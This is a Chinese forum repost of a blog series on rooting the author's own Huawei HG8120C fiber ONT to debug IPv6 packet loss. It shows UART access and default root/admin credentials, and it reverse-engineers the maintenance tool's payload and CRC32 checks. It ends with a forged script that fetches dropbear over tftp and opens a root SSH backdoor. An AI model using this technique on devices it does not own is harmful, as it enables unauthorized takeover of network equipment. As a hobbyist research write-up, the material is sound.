本帖最后由 sczybo 于 2016-6-28 14:04 编辑 2 Y- K- w2 f+ I: E. h
% v/ {. Y8 A, n4 @, V1 b1 l% h6 ~首先声明,本人搞不懂啊!
1 r; ^7 e6 b& R- b) {' ]由 李晓岚 在 2016年05月01日发表 几星期前,家里网络更换了光猫(ONT),由HG8120R换成了HG8120C,均系华为生产,ISP提供。事后发现原来完美工作的IPv6-in-IPv4 tunnel丢包严重,达到90%以上。由于ONT是唯一变更了的设备,所以可以几乎100%确认是新的ONT HG8120C造成的丢包。于是在过去的几个星期里,PWN新ONT设备便成了我闲暇时光的主要工作,最终成功pwned,获取了root shell。 起因 更换设备后,很快发现访问IPv6出现困难,完全不能打开网页,马上使用ping6进行诊断,得到了如下很有规律的结果: leexiaolan@localhost $ ping62001:4860:4860::8888 PING2001:4860:4860::8888(2001:4860:4860::8888) 56 data bytes 64 bytes from2001:4860:4860::8888: icmp_seq=1 ttl=56 time=416 ms 64 bytes from2001:4860:4860::8888: icmp_seq=17 ttl=56 time=419 ms 64 bytes from2001:4860:4860::8888: icmp_seq=33 ttl=56 time=415 ms 64 bytes from2001:4860:4860::8888: icmp_seq=49 ttl=56 time=423 ms 64 bytes from2001:4860:4860::8888: icmp_seq=65 ttl=56 time=427 ms 64 bytes from2001:4860:4860::8888: icmp_seq=80 ttl=56 time=426 ms 64 bytes from2001:4860:4860::8888: icmp_seq=96 ttl=56 time=358 ms ^C --- 2001:4860:4860::8888 pingstatistics --- 97 packets transmitted, 7received, 92% packet loss, time 96013ms rtt min/avg/max/mdev =358.180/412.373/427.908/22.604 ms 从结果来看,链路中某个设备,每16个数据包会丢掉其中的15个,仅有一个通过,丢包率高达15/16=93.75%。得到这样的结果,考虑到tunnel server在香港,第一反应这个丢包的设备是GFW。于是换国内某云服务商的机器做tunnel server测试,ping6的目标地址就是tunnel server自身的IPv6地址,也得到了类似结果,所以,GFW的嫌疑洗清了。 猜测 这时,刚换的ONT设备的嫌疑就陡然上升了。使用设备提供的useradmin登录ONT的web管理页面,可以看到新ONT可以提供IPv6连接,但是没有启用,也无法手动配置。而IPv6这个功能在老ONT上是没有的,这进一步加大了新ONT丢弃IPv6包的嫌疑。但由于老ONT HG8120R已经被ISP回收,无法置换回去测试,所以还不能100%确定就是ONT设备丢包。即便ONT是我已知的链路中唯一更换的设备,但无法确定ISP的局端设备是否发生变化,所以需要更强的证据来佐证是新ONT丢的包。如果可以抓取到ONT光口发出去的数据包,就能……,很不幸手上没有这样的设备,买个这样的设备估计也不会很便宜。所以,剩下唯一的途径就从ONT下手,在ONT内部抓取数据包。 之前老的ONT已经PWNED,知道设备运行Linux kernel,Hisilicon(其母公司是华为)的ARM CPU。要在这样的设备上抓包,需要两个条件:一是抓包软件,二是root shell。第一个条件容易满足,交叉编译ARM处理器的tcpdump即可,我之前已经为HG8120R静态链接编译了tcpdump,应该可以直接使用,就差root shell了。 UART 以往的经验告诉我,这样的设备都有一个UART debug port,焊上对应信号线,root shell马上就有了,就像给机柜中的服务器插上显示器和键盘。只是这种方法需要拆开设备外壳包装,在电路板上找到对应针脚。一番观察之后,确定HG8120C外壳只用一颗螺丝和机壳周围一圈多个卡口固定。尽量不弄坏卡口,同时也保护好外观,小心翼翼地拆开机器外壳,取出电路板,马上就发现下图的五个针脚焊盘J4: file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image002.gif 连接,上电,启动 焊接好三根信号线,和电脑上使用的USB转串口设备连接,剩下就只用确定几个协议参数了。多数情况下除了波特率,其它参数都是默认值。波特率通常也都是使用那几个知名的速率,挨个试一遍就可以找到了。我运气很好,第一次试用115200便对了,上电启动设备,屏幕上很快就滚过下面这些信息: leexiaolan@localhost $ sudoscreen /dev/ttyUSB0 115200
. N8 Y* n, W. U; j+ E" h( @1 F HuaWei StartCode 2012.02 (R15C10Apr 03 2015 - 01:24:45) 2 `( F' W. l& d% ]3 b$ `9 K2 }
NAND: NAND FLASH Enter Low Driver Mode Nand(Hardware): 128 MiB startcode select the uboot toload the high RAM is :8080103c startcode uboot bootcount:71872272 use the main slave_param areafrom flash, the RAM data is not OK!!! Use the UbootA to load first Use the UbootA to load success
2 b; d& a1 X) g2 u6 l6 U# ] U-Boot 2010.03 (R15C10 Jun 292015 - 17:21:21)
) a9 }% y9 T4 M: c/ p' f8 | DRAM: 128 MB Boot From NAND flash Chip Type is SD5116H ... waitForPADO: wait for PADO onwan3 10 sec. profile close core dump Press any key to get started 8 E4 H% I9 ?3 a$ a
telnet port:23 Open device /dev/pts/2 OK! Entering character mode Escape character is '^]'. ; x# m# V1 L8 |
Welcome Visiting Huawei HomeGateway Copyright by Huawei Technologies Co., Ltd.
6 }; }% \3 _' ^! d: R3 ?6 ~, ^! f Login: 提示输入用户名,尝试常见的几个用户名密码组合,最后用户名root,密码admin成功登录了。 Login:root Password: WAP> 得到了WAP>提示符,输入shell和debugshell等命令都提示命令不存在。 WAP>shell ERROR::Command is not existed . k* x* t0 ] L5 t/ Y+ L3 @ V
WAP>debugshell ERROR::Command is not existed Google一番后,原来是需要先使用su进入特权模式,再使用shell命令。 WAP>su success! SU_WAP>shell 5 ^8 u. n V, h2 ^
BusyBox v1.18.4 (2015-06-2714:02:58 CST) built-in shell (ash) Enter 'help' for a list ofbuilt-in commands.
$ u3 N" Z, l( @/ W3 t profile close core dump WAP(Dopra Linux) # 嗯,看到熟悉的BusyBox了,心中一阵喜悦。可惜这段喜悦没能延续很长时间,尝试输入两个命令后就彻底绝望了。 WAP(Dopra Linux) # ls /bin/sh: wap.ls: not found WAP(Dopra Linux) # ps ERROR::Command is not existed ' ?8 B& i: P. E$ {" l( H
WAP(Dopra Linux) # help ERROR::Command is not existed / J( n; i5 b; _5 y
WAP(Dopra Linux) # ? boardtype.sh clcmcheck.sh customize.sh EquipMode.sh exit getcustominfo.sh getcustomize.sh ifconfig iwconfig ... BusyBox是假的,还是只能执行几个有限的命令。失望之余,只能寄希望于看能不能在这三个WAP>,SU_WAP>和WAP(Dopra Linux) #提示符下找到任何一个可以利用的命令,于是开始了一个无聊的循环,一个命令一个命令的尝试,了解其作用,最后得出令人心塞的结论:全军覆没,没有一个可以用于执行任意代码。 如何继续 到目前为止,厂商的安全措施做得还不错,还没有发现明显可以利用的漏洞。那么,下一步该如何进行呢?仔细思考了一会,大概还有如下几个途径: 1. 使用jTAG直接读写Flash。这种方法的不方便在于,需要处理系统本身的文件系统数据结构以及uboot对数据的校验等信息。另外,jTAG针脚比UART多,电路板上也没有明显标记,在没有CPU的数据手册情况下,很难确定针脚定义。 2. 使用Flash编程器在线或焊下芯片离线读写Flash。这种操作Flash的方式更困难,还需要考虑 Flash的OOB数据。 3. 如何中断uboot,得到uboot cli,从而修改Flash或从网络加载kernel等。 4. 找Web管理页面或命令行参数注入漏洞。 5. 修改firmware升级包,WAP>提示符下使用load pack升级。 6. 厂商隐藏的其它后门。 可能还存在某些目前还未想到的方法。总之,可以尝试的方法还很多,肯定能找到行之有效方法。下篇再继续我们的PWN HG8120C之旅。 . [; ?8 G& k; [5 i8 E% [
由 李晓岚 在 2016年05月20日发表 上一篇博文中,由于厂商采取了一定的安全预防措施,试图通过UART来PWN ONT HG8120C的尝试出人意料的失败了,但是这并不能摧毁我不达目的不罢休的决心,又尝试了多种方法,还是未能成功。难道非得使用直接读写Flash芯片(这种方法风险较大,可能损坏设备。同时设备也不能用,会断网,家里人会很生气,后果很严重。所以在还有其它可能的情况下,是不会轻易使用这种方法的。)这个终极法宝了?几乎绝望之际,想起来网上流传的厂商 维护使能工具,又燃起了一丝希望。 维护使能工具能做什么 该工具用于厂商售后,所谓使能,就是开启设备的维护模式,并关闭防火墙对telnet 23端口的访问限制。使能后,telnet终端能够完成的设备维护的全部操作(UART得到的命令行其实就是这个telnet终端),但对于我的目的,得到root shell并运行tcpdump来说,毫无用处。所以,引起我兴趣的不是使能后能做什么,而是使能工具如何和设备交互,发出使能命令的,说不定也能发出其它命令,比如就像我期望的tcpdump。 维护使能工具的工作原理 该工具是运行的Windows上的一个可执行文件,想了解其工作原理,有两个办法:一是对exe进行逆向工程,二是抓包分析其发送的数据(其实不能算分析,纯粹瞎猜各个字节的意义,然后小心求证罢了)。使用dumpbin查看exe文件: D:\tmp>dumpbin /summaryONT.exe Microsoft (R) COFF Binary FileDumper Version 6.00.8447 Copyright (C) Microsoft Corp1992-1998. All rights reserved.
% L' C1 v2 \! ^$ {3 ^ Dump of file D:\tmp\ONT.exe
( A& a5 [1 s# u4 b% F* Z File Type: EXECUTABLE IMAGE
$ Y, J) P: Q6 v3 S Summary
0 d" T' E' b& @5 ]6 J 2000 .text 2000 HWB8zP1w 1000 LEXmTy1n 216000 QrVbjeUa 20E000 lS8TSGXu 29000 niBTgJWZ 1000 sfW0L9wz 从section name来看,应该加过壳,逆向工程难度未知,那就试试抓包吧。 11:26:03.559243 IP192.168.1.2.819 > 255.255.255.255.6877: UDP, length 244 11:26:03.568366 IP 192.168.1.2.918> 224.0.0.99.4891: UDP, length 1220 11:26:03.770581 IP192.168.1.2.918 > 224.0.0.99.4891: UDP, length 1220 11:26:03.771255 IP192.168.1.2.918 > 224.0.0.99.4891: UDP, length 1220 11:26:03.803305 IP192.168.1.2.918 > 224.0.0.99.4891: UDP, length 1220 11:26:03.805057 IP192.168.1.2.918 > 224.0.0.99.4891: UDP, length 1220 11:26:03.805933 IP192.168.1.2.918 > 224.0.0.99.4891: UDP, length 1220 11:26:03.836141 IP192.168.1.2.918 > 224.0.0.99.4891: UDP, length 1220 11:26:03.836869 IP192.168.1.2.918 > 224.0.0.99.4891: UDP, length 1220 在第一个广播包中,发现了224.0.0.99和4891,于是猜测第一个UDP广播包是敲门砖,告诉设备后续数据包的目的IP和端口,其中还包括了后续数据包的个数和大小。后面的数据包就更简单了,几个固定值,包序号,数据长度,\0填充和数据。为了克服UDP丢包问题,每个数据包都进行了多次重传。有了这些信息,很容易就可以从抓包的数据中,拼凑出完整的payload(其实,使能工具运行起来后,壳已经将数据解压,抓取其内存镜像,就能从中获取到完整的payload,只是不好确定payload和其它数据的边界而已)。有了payload后,对其使用常用的CRC16,CRC32,MD5,SHA-1等摘要算法,马上就发现了广播包中也包含也payload的CRC32信息。 将完整的payload保存为payload.bin,使用strings查看: leexiaolan@localhost $ stringspayload.bin HWNP 120|130|140|141|150|160|170|171|180|190|1B1|1A1|1A0|1B0|1D0|1F1|201|211|221|230|240|260|261|270|271|280|281|291|2A1|431| file:/var/UpgradeCheck.xml UPGRDCHECK file:/mnt/jffs2/equipment.tar.gz MODULE file:/mnt/jffs2/ProductLineMode UNKNOWN file:/mnt/jffs2/TelnetEnable UNKNOWN file:/tmp/duit9rr.sh UNKNOWN file:/var/efs ... poo2 #! /bin/sh var_etc_version_file="/etc/version" var_etc_version="" var_version_1="V100R006C00SPC130" var_version_2="V200R006C00SPC130" var_version_3="V300R013C00SPC106" var_version_4="V300R013C10SPC108" var_etc_version_V="" var_etc_version_R="" ... 有趣的东西终于出现了,看起来有个像shell脚本的字符串。仔细深入查看发现: #设置打开telnet的控制节点 HW_Open_Telnet_Ctree_Node() { var_node_telnet=InternetGatewayDevice.X_HW_Security.AclServices
8 B0 ~" t1 v* e #set telnet EnableLanTelnetValue="1" cp -f$var_jffs2_current_ctree_file $var_current_ctree_bak_file $var_pack_temp_dir/aescrypt21 $var_current_ctree_bak_file $var_current_ctree_file_tmp mv$var_current_ctree_bak_file $var_current_ctree_bak_file".gz" gunzip -f$var_current_ctree_bak_file".gz"
" e6 ^# W7 T1 N7 b' k #set TELNETLanEnable cfgtool set$var_current_ctree_bak_file $var_node_telnet TELNETLanEnable$EnableLanTelnetValue if [ 0 -ne $? ] then echo "ERROR::Failedto set TELNETLanEnable!" fi
) ^2 b! j% y5 A #encrypt var_default_ctree gzip -f $var_current_ctree_bak_file mv$var_current_ctree_bak_file".gz" $var_current_ctree_bak_file $var_pack_temp_dir/aescrypt20 $var_current_ctree_bak_file $var_current_ctree_file_tmp rm -f$var_jffs2_current_ctree_file cp -f $var_current_ctree_bak_file$var_jffs2_current_ctree_file return 0 } 原来是给ONT设备发送了一个shell脚本来开启telnet。嗯,这看起来很像我要的执行任意代码的入口。 转机 如果能继续把payload的文件结构分析(瞎猜)清楚,就能修改payload中的脚本,运行我自己的代码了。至于如何发送修改过后的payload,这个大可不必自己写个程序来实现维护使能工具那套逻辑,使用原始工具使能telnet后,通过telnet终端使用load pack命令从FTP或TFTP加载payload即可。还有另一个好处就是,维护使能工具必须在未接入运营商网络的情况下使用,而load pack没有这个限制。离目标PWN越来越近了,后篇将分析payload结构,并修改和运行我自己的payload。 PS: 上述信息经过华为PSIRT确认,不会对用户或网络带来风险。 ' }0 H5 W$ o5 [4 ?2 f7 ~# ~
" Y+ q6 g; _: w2 O4 j
上一篇博文中,通过抓取分析华为维修使能工具发送到UDP数据包,从中得到了完整的有效载荷 payload.bin。粗略浏览 payload.bin 中的字符串,发现可以修改 payload.bin 的内容来执行任意代码。所以,本文就对 payload.bin 的结构进行简单分析,修改并构造我们自己的payload,来达到执行任意代码的目的。 简单天真的尝试 仅仅改变 payload.bin 中的一个字节,看目标设备是否进行合法行检查,于是用二进制编辑器,将脚本中原来的 var_etc_version="" 改成 var_etc_version='',双引号改成单引号,对脚本原来的功能没有影响,也不改变脚本文件大小,保存修改为 payload-mod.bin,并加载到目标设备。 WAP>load pack by tftp svrip 192.168.1.2 remotefile payload-mod.bin success! WAP>Software Operation Faild!RetCode=0xf7204039! 被设备拒绝了,没什么意外的。 payload.bin 结构分解 既然设备对有效载荷 payload-mod.bin 进行了完整性检查,想修改并成功运行就必须对文件结构进行分解,找到完整性检验信息,继而修正之。那就先来看看文件头的16进制表示。 file:///C:/Users/ADMINI~1/AppData/Local/Temp/msohtmlclip1/01/clip_image004.jpg 如上图,文件头被填充的 0x00 分隔成了几个部分,并且具有很明显的重复模式。第二部分中,ASCII字符串 file:/var/UpgradeCheck.xml 很像文件名。既然有文件名,就因该有文件数据,想要定义文件数据,通常做法是,一个偏移来确定数据在载荷中的位置,也许还需要一个整数来指定数据长度(如果用相邻两个偏移之差来定义前一个文件的大小就不需要指定长度)。在文件名前面有12个字节的非零数据,当作三个4字节的整数来理解,将其中两个较小的 0x00000994 和 0x0000042d 解释成偏移和长度,看起来非常合理。试着这样解释,从载荷中找到这两个数定义的数据如下: 0000990: 0000 0000 3c75 7067 7261 6465 6368 6563 ....<upgradechec 00009a0: 6b3e 0d0a 3c48 6172 6456 6572 4368 6563 k>..<HardVerChec 00009b0: 6b20 4368 6563 6b45 6e61 626c 653d 2230 k CheckEnable="0 00009c0: 223e 0d0a 3c49 6e63 6c75 6465 4c69 7374 ">..<IncludeList 00009d0: 2045 6e61 626c 653d 2231 222f 3e0d 0a3c Enable="1"/>..< ... 0000d90: 2045 6e61 626c 653d 2230 222f 3e0d 0a3c Enable="0"/>..< 0000da0: 2f43 6667 4368 6563 6b3e 0d0a 3c2f 7570 /CfgCheck>..</up 0000db0: 6772 6164 6563 6865 636b 3e0d 0a0d 0a0d gradecheck>..... 0000dc0: 0a1f 8b08 00b6 2287 5300 03ec 5d7b 93d3 ......".S...]{.. 数据刚好也是XML片段,符合文件名的 .xml 后缀,并且与前后数据(均包含非可打印字符)的分界也很明显,很好地印证了前面关于偏移和长度的猜测。最后剩下的那四个字节,看起来比较随机,该如何解释呢?想到 上一篇中使用 CRC32 来校验 UDP 数据包,而 CRC32 的结果刚好也是四个字节,很自然就想到可能是文件数据的 CRC32 校验信息。 leexiaolan@localhost $ dd if=payload-mod.bin of=UpgradeCheck.xml bs=1skip=$((0x994)) count=$((0x42d)) 1069+0 records in 1069+0 records out 1069 bytes (1.1 kB) copied, 0.00196642 s, 544 kB/s leexiaolan@localhost $ crc32 UpgradeCheck.xml 52ee2f6d Bingo! 的确是文件数据的 CRC32 校验信息。更进一步,0x994+0x42d=0xdc1 也和下一个文件的偏移吻合。 有了上面这些信息,那就来修正 payload-mod.bin 中的 CRC32。我们需要修改是这个 duit9rr.sh文件: 00006d0: c112 0000 6669 6c65 3a2f 746d 702f 6475 ....file:/tmp/du 00006e0: 6974 3972 722e 7368 0000 0000 0000 0000 it9rr.sh........ ( p( m% c4 N( ?& C+ @2 W
leexiaolan@localhost $ dd if=payload-mod.bin of=duit9rr.sh bs=1skip=$((0x156d1)) count=$((0x12c1)) 4801+0 records in 4801+0 records out 4801 bytes (4.8 kB) copied, 0.00834645 s, 575 kB/s leexiaolan@localhost $ crc32 duit9rr.sh 74aae506 用二进制编辑器将正确的 CRC32 写进 payload-mod.bin,加载。 WAP>load pack by tftp svrip 192.168.1.2 remotefile payload-mod.bin success! WAP>Software Operation Faild!RetCode=0xf7204039! 还是同样的错误信息。再仔细检查了几遍,没有发现计算错误的地方,估计是除了对包含的文件检验外,还有对整个 payload-mob.bin 的完整性校验。再返回去看 payload.bin 头的16进制信息。在最前面的几十个字节中,除了固定的魔数,看起来像文件长度,数据偏移,文件个数的信息外,还有两个四字节的数据 0xc1ce7077 和 0x88f67efc,没什么规律,估计又是某段数据的 CRC32 校验信息。于是就假设其是某段连续数据的 CRC32,由于整个文件不太大(92630字节),暴力枚举看起来可行。 leexiaolan@localhost $ cat findcrc32 #!/usr/bin/env python2 4 t; j" {9 n1 V2 V$ g& G$ {
from __future__ import print_function import sys import zlib
6 {5 R+ V3 s$ w6 E* ~with open(sys.argv[1], 'rb') as f: data = f.read() expectedCrc32 = int(sys.argv[2], base=0) for i in xrange(0, len(data)): crc32 = 0 for j in xrange(i, len(data)): crc32 = zlib.crc32(data[j],crc32) if expectedCrc32 == crc32 &0xffffffff: print('Found at%s[0x%x:0x%x].' % (sys.argv[1], i, j + 1)) sys.exit(0)
- `! W7 Q" G6 N1 o" m7 e- Aleexiaolan@localhost $ time ./findcrc32 payload.bin 0xc1ce7077 Found at payload.bin[0xc:0x169d6].
- m0 O5 s% p8 z2 Nreal 0m0.432s user 0m0.427s sys 0m0.004s leexiaolan@localhost $ time ./findcrc32 payload.bin 0x88f67efc Found at payload.bin[0x14:0x994]. s5 @, R# P- C
real 0m0.039s user 0m0.034s sys 0m0.008s 又全中,是我人品太好还是……根据这两个 CRC32 的计算方法,继续修正 payload-mod.bin,加载。 WAP>load pack by tftp svrip 192.168.1.2 remotefile payload-mod.bin success! WAP>Software Operation Successful!RetCode=0x0! 看到这Software Operation Successful!RetCode=0x0!,终于成功啦,有点小激动。 root shell 接下来就该测试修改后的脚本的执行情况。将 duit9rr.sh 改成如下脚本: #!/bin/sh
) P# n0 h% K& A) Ctftp -g 192.168.1.2 -r dropbear -l /tmp/dropbear tftp -g 192.168.1.2 -r hostkey -l /tmp/hostkey tftp -g 192.168.1.2 -r rsa.pub -l /tmp/authorized_keys iptables -I INPUT -p tcp --dport 2222 -j ACCEPT chmod 777 /tmp/dropbear chmod 600 /tmp/authorized_keys /tmp/dropbear -r /tmp/hostkey -p 2222 这段脚本比原文件内容要短很多,为了避免其它意外,多余字节用空白字符填充,修正上述三个CRC32 校验值,最终的 payload-mod.bin 就完成了。修改 dropbear 读取 /tmp 文件夹下的公钥文件。加载最终版本的 payload-mod.bin 至目标设备。 WAP>load pack by tftp svrip 192.168.1.2 remotefile payload-mod.bin success! WAP>Software Operation Successful!RetCode=0x0! 使用 ssh 连接目标设备: & C3 Z- c, D7 f2 Y
BusyBox v1.18.4 (2015-06-27 14:02:58 CST) built-in shell (ash) Enter 'help' for a list of built-in commands.
' y5 {# V: |4 F/ D% p2 v$ C* Uprofile close core dump WAP(Dopra Linux) # id uid=0(root) gid=0(root) groups=0(root) WAP(Dopra Linux) # cat /etc/wap/wap_version V800R015C10SPC189B001 哈哈,root shell 到手了,可以继续最早的问题了,在ONT上抓包,确诊 IPv6-in-IPv4 丢包的问题。待续…… P.S: 解包,重新打包 payload.bin 并修正对应 CRC32 的代码,在整理后完成后,将开源在 github。 2016-6-23 11:09 更新:源代码已经推送到 github。 * ?" O. p7 ^( a* e# Y
6 B2 c" H- C& X
! ~: Q5 X( H( b/ n7 y# T" O/ M
|